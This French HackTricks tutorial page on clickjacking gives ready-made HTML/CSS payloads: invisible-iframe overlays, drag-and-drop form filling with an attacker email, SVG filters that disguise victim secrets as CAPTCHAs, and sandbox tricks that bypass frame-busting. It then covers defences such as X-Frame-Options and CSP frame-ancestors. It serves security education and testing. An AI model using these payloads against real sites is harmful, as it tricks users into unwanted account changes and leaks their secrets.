Clickjacking
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Qu’est-ce que le Clickjacking
Dans une attaque de Clickjacking, un utilisateur est trompé pour cliquer sur un élément d’une page web qui est soit invisible soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences indésirables pour l’utilisateur, telles que le téléchargement de malware, la redirection vers des pages web malveillantes, la fourniture de credentials ou d’informations sensibles, des transferts d’argent, ou l’achat en ligne de produits.
Astuce : préremplir des formulaires
Il est parfois possible de remplir la valeur des champs d’un formulaire en utilisant des paramètres GET lors du chargement d’une page. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l’utilisateur appuie sur le bouton Submit.
Remplir un formulaire avec Drag&Drop
Si vous avez besoin que l’utilisateur remplisse un formulaire mais que vous ne souhaitez pas lui demander directement d’entrer des informations spécifiques (comme l’email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de Drag&Drop quelque chose qui écrira vos données contrôlées comme dans this example.
Payload basique
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload en plusieurs étapes
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Si vous avez identifié une attaque XSS qui nécessite qu’un utilisateur clique sur un élément pour déclencher le XSS et que la page est vulnérable au clickjacking, vous pouvez en abuser pour tromper l’utilisateur afin qu’il clique sur le bouton/le lien.
Example:
Vous avez trouvé un self XSS dans certains détails privés du compte (détails que seul vous pouvez définir et lire). La page contenant le form pour définir ces détails est vulnérable au Clickjacking et vous pouvez prepopulate le form avec des paramètres GET.
Un attaquant pourrait préparer une attaque de Clickjacking sur cette page en prepopulating le form avec le XSS payload et en trickant l’user pour qu’il Submit le formulaire. Ainsi, when the form is submitted et que les valeurs sont modifiées, the user will execute the XSS.
DoubleClickjacking
D’abord explained in this post, cette technique consisterait à demander à la victime de double-cliquer sur un bouton d’une page personnalisée placée à un emplacement précis, et à exploiter les différences de timing entre les événements mousedown et onclick pour charger la page de la victime pendant le double-clic de sorte que la victim actually clicks a legit button in the victim page.
Un exemple peut être vu dans cette vidéo : https://www.youtube.com/watch?v=4rGvRRMrD18
Un exemple de code se trouve dans this page.
Warning
Cette technique permet de tromper l’utilisateur pour qu’il clique à un seul endroit dans la page de la victime en contournant toutes les protections contre le clickjacking. L’attaquant doit donc trouver des sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.
SVG Filters / Cross-Origin Iframe UI Redressing
Les versions modernes de Chromium/WebKit/Gecko permettent d’appliquer en CSS filter:url(#id) aux iframes cross-origin. Les pixels rasterisés de l’iframe sont exposés au graphe de filtres SVG en tant que SourceGraphic, donc des primitives telles que feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. peuvent déformer arbitrairement l’UI de la victime avant que l’utilisateur ne la voie, même si l’attaquant ne touche jamais le DOM. Un filtre de style Liquid-Glass simple ressemble à :
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Primitives utiles :
feImagecharge des bitmaps d’attaquant (p. ex., overlays, displacement maps) ;feFloodconstruit des mattes de couleur constante ;feOffset/feGaussianBluraffinent les reflets ;feDisplacementMapréfracte/déforme le texte ;feComposite operator="arithmetic"implémente des calculs arbitraires par canal (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), suffisants pour l’amélioration du contraste, le masquage et les opérations AND/OR ;feTilerecadre et réplique des sondes de pixels ;feMorphologyagrandit/rétrécit les traits ;feColorMatrixdéplace la luma dans l’alpha pour construire des masques précis.
Déformer des secrets en invites de type CAPTCHA
Si un framable endpoint rend des secrets (tokens, reset codes, API keys), l’attaquant peut les déformer pour qu’ils ressemblent à un CAPTCHA et contraindre une retranscription manuelle :
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
Les pixels déformés trompent l’utilisateur en lui faisant “résoudre” le captcha à l’intérieur de l’<input> contrôlé par l’attaquant dont le pattern impose le véritable secret de la victime.
Recontextualisation des saisies de la victime
Les filtres peuvent supprimer de manière chirurgicale le texte d’espace réservé/de validation tout en conservant les frappes de l’utilisateur. Un flux de travail :
feComposite operator="arithmetic" k2≈4amplifie la luminosité de sorte que le texte d’aide gris se sature en blanc.feTilelimite la zone de travail au rectangle de l’input.feMorphology operator="erode"épaissit les glyphes sombres tapés par la victime et les stocke viaresult="thick".feFloodcrée une plaque blanche,feBlend mode="difference"avecthick, et un secondfeComposite k2≈100le transforme en un matte de luminance prononcé.feColorMatrixdéplace cette luminance dans l’alpha, etfeComposite in="SourceGraphic" operator="in"ne conserve que les glyphes saisis par l’utilisateur.- Un autre
feBlend in2="white"plus un léger recadrage donne une zone de texte propre, après quoi l’attaquant superpose ses propres labels HTML (par ex. « Entrez votre e-mail ») tandis que l’iframe cachée applique toujours la politique de mot de passe de l’origine de la victime.
Safari a du mal avec feTile ; le même effet peut être reproduit avec des mattes spatiaux construits à partir de feFlood + feColorMatrix + feComposite pour des payloads réservés à WebKit.
Sondes de pixels, logique et machines à états
En recadrant une région de 2–4 px avec feTile et en la dupliquant sur 100% du viewport, l’attaquant transforme la couleur échantillonnée en une texture plein-cadre qui peut être seuillée en un masque booléen :
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
Pour des couleurs arbitraires, une référence feFlood (p.ex., #0B57D0) plus feBlend mode="difference" et un autre composite arithmétique (k2≈100, k4 comme tolérance) produisent du blanc uniquement lorsque le pixel échantillonné correspond à la teinte cible. En alimentant ces masques dans feComposite avec des k1..k4 ajustés, on obtient des portes logiques : AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via un blend contre du blanc. En chaînant les portes, on construit un additionneur complet à l’intérieur du graphe de filtres, prouvant que le pipeline est fonctionnellement complet.
Les attaquants peuvent donc lire l’état UI sans JavaScript. Exemples de booléens d’un workflow modal :
- D (dialog visible) : sonder un coin assombri et tester par rapport au blanc.
- L (dialog loaded) : sonder les coordonnées où le bouton apparaît une fois prêt.
- C (checkbox checked) : comparer le pixel de la case à cocher avec le bleu actif
#0B57D0. - R (red success/failure banner) : utiliser
feMorphologyet des seuils rouges à l’intérieur du rectangle de la bannière.
Chaque état détecté commande une bitmap d’overlay différente incorporée via feImage xlink:href="data:...". Masquer ces bitmaps avec D, L, C, R maintient les overlays synchronisés avec le vrai dialog et guide la victime à travers des workflows multi-étapes (réinitialisations de mot de passe, approbations, confirmations destructrices) sans jamais exposer le DOM.
Dialog Basic Auth dans un iframe sandboxé (pas d’allow-popups)
Un iframe sandboxé sans allow-popups peut toujours faire apparaître un HTTP Basic Authentication modal contrôlé par le navigateur lorsqu’un chargement retourne 401 avec WWW-Authenticate. Le dialog est généré par la couche réseau/authentification du navigateur (et non par les alert/prompt/confirm JS), donc les restrictions de popup dans le sandbox ne le suppriment pas. Si vous pouvez exécuter des scripts dans l’iframe (p.ex., sandbox="allow-scripts"), vous pouvez la naviguer vers n’importe quel endpoint émettant un Basic Auth challenge :
<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>
Une fois la réponse arrivée, le navigateur demande des identifiants même si les popups sont interdits. Framing d’une origine de confiance avec cette astuce permet le UI redress/phishing : des invites modales inattendues à l’intérieur d’un widget “sandboxed” peuvent désorienter les utilisateurs ou pousser les password managers à proposer des identifiants enregistrés.
Extensions de navigateur : DOM-based autofill clickjacking
En dehors de l’iframing de pages victimes, les attaquants peuvent cibler les éléments d’UI d’extensions de navigateur injectés dans la page. Les password managers affichent des listes d’autofill près des champs focusés ; en focalisant un champ contrôlé par l’attaquant et en masquant/occultant le dropdown de l’extension (astuces d’opacité/overlay/couche supérieure), un clic contraint de l’utilisateur peut sélectionner un élément stocké et remplir des données sensibles dans des champs contrôlés par l’attaquant. Cette variante ne nécessite aucune exposition via iframe et fonctionne entièrement via manipulation DOM/CSS.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Stratégies pour atténuer Clickjacking
Défenses côté client
Les scripts exécutés côté client peuvent effectuer des actions pour prévenir Clickjacking :
- S’assurer que la fenêtre de l’application est la fenêtre principale ou la top window.
- Rendre toutes les frames visibles.
- Empêcher les clics sur des frames invisibles.
- Détecter et alerter les utilisateurs des tentatives potentielles de Clickjacking.
Cependant, ces scripts de frame-busting peuvent être contournés :
- Browsers’ Security Settings: Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramètres de sécurité ou d’un manque de support JavaScript.
- HTML5 iframe
sandboxAttribute: Un attaquant peut neutraliser les scripts de frame buster en définissant l’attributsandboxavec les valeursallow-formsouallow-scriptssansallow-top-navigation. Cela empêche l’iframe de vérifier si elle est la top window, par exemple,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Les valeurs allow-forms et allow-scripts permettent des actions à l’intérieur de l’iframe tout en désactivant la navigation de niveau supérieur. Pour garantir le fonctionnement attendu du site ciblé, des permissions supplémentaires comme allow-same-origin et allow-modals peuvent être nécessaires, selon le type d’attaque. Les messages de la console du navigateur peuvent indiquer quelles permissions autoriser.
Défenses côté serveur
X-Frame-Options
L’en-tête de réponse HTTP X-Frame-Options informe les navigateurs sur la légitimité de l’affichage d’une page dans un <frame> ou <iframe>, contribuant à prévenir le Clickjacking :
X-Frame-Options: deny- Aucun domaine ne peut encadrer le contenu.X-Frame-Options: sameorigin- Seul le site courant peut encadrer le contenu.X-Frame-Options: allow-from https://trusted.com- Seul le ‘uri’ spécifié peut encadrer la page.- Remarque sur les limites : si le navigateur ne prend pas en charge cette directive, elle peut ne pas fonctionner. Certains navigateurs préfèrent la directive CSP frame-ancestors.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP est la méthode recommandée pour la protection contre le Clickjacking :
frame-ancestors 'none'- Similaire àX-Frame-Options: deny.frame-ancestors 'self'- Similaire àX-Frame-Options: sameorigin.frame-ancestors trusted.com- Similaire àX-Frame-Options: allow-from.
Par exemple, la CSP suivante n’autorise le framing que depuis le même domaine :
Content-Security-Policy: frame-ancestors 'self';
Des détails supplémentaires et des exemples complexes sont disponibles dans la frame-ancestors CSP documentation et la Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) est une mesure de sécurité qui aide à prévenir le Clickjacking et d’autres attaques par injection de code en spécifiant quelles sources le navigateur doit autoriser à charger du contenu.
frame-src Directive
- Définit les sources valides pour les frames.
- Plus spécifique que la directive
default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Cette politique autorise les frames depuis la même origine (self) et https://trusted-website.com.
child-src Directive
- Introduit dans CSP niveau 2 pour définir les sources valides pour les web workers et les frames.
- Agit comme mécanisme de repli pour frame-src et worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Cette politique autorise les frames et les workers depuis la même origine (self) et https://trusted-website.com.
Notes d’utilisation :
- Dépréciation : child-src est progressivement abandonné au profit de frame-src et worker-src.
- Comportement de repli : si frame-src est absent, child-src est utilisé comme repli pour les frames. Si les deux sont absents, default-src est utilisé.
- Définition stricte des sources : n’incluez que des sources de confiance dans les directives pour éviter les exploitations.
Scripts JavaScript anti-frame
Bien qu’ils ne soient pas complètement infaillibles, des scripts JavaScript anti-frame peuvent être utilisés pour empêcher qu’une page web soit affichée dans une frame. Exemple :
if (top !== self) {
top.location = self.location
}
Utilisation des Anti-CSRF Tokens
- Validation des tokens : Utilisez des anti-CSRF tokens dans les applications web pour garantir que les requêtes modifiant l’état sont effectuées intentionnellement par l’utilisateur et non via une page Clickjacked.
Références
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
- Iframe sandbox Basic Auth modal
- Chromestatus: Restrict sandboxed frame dialogs
- Chromium issue about sandboxed auth dialogs
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


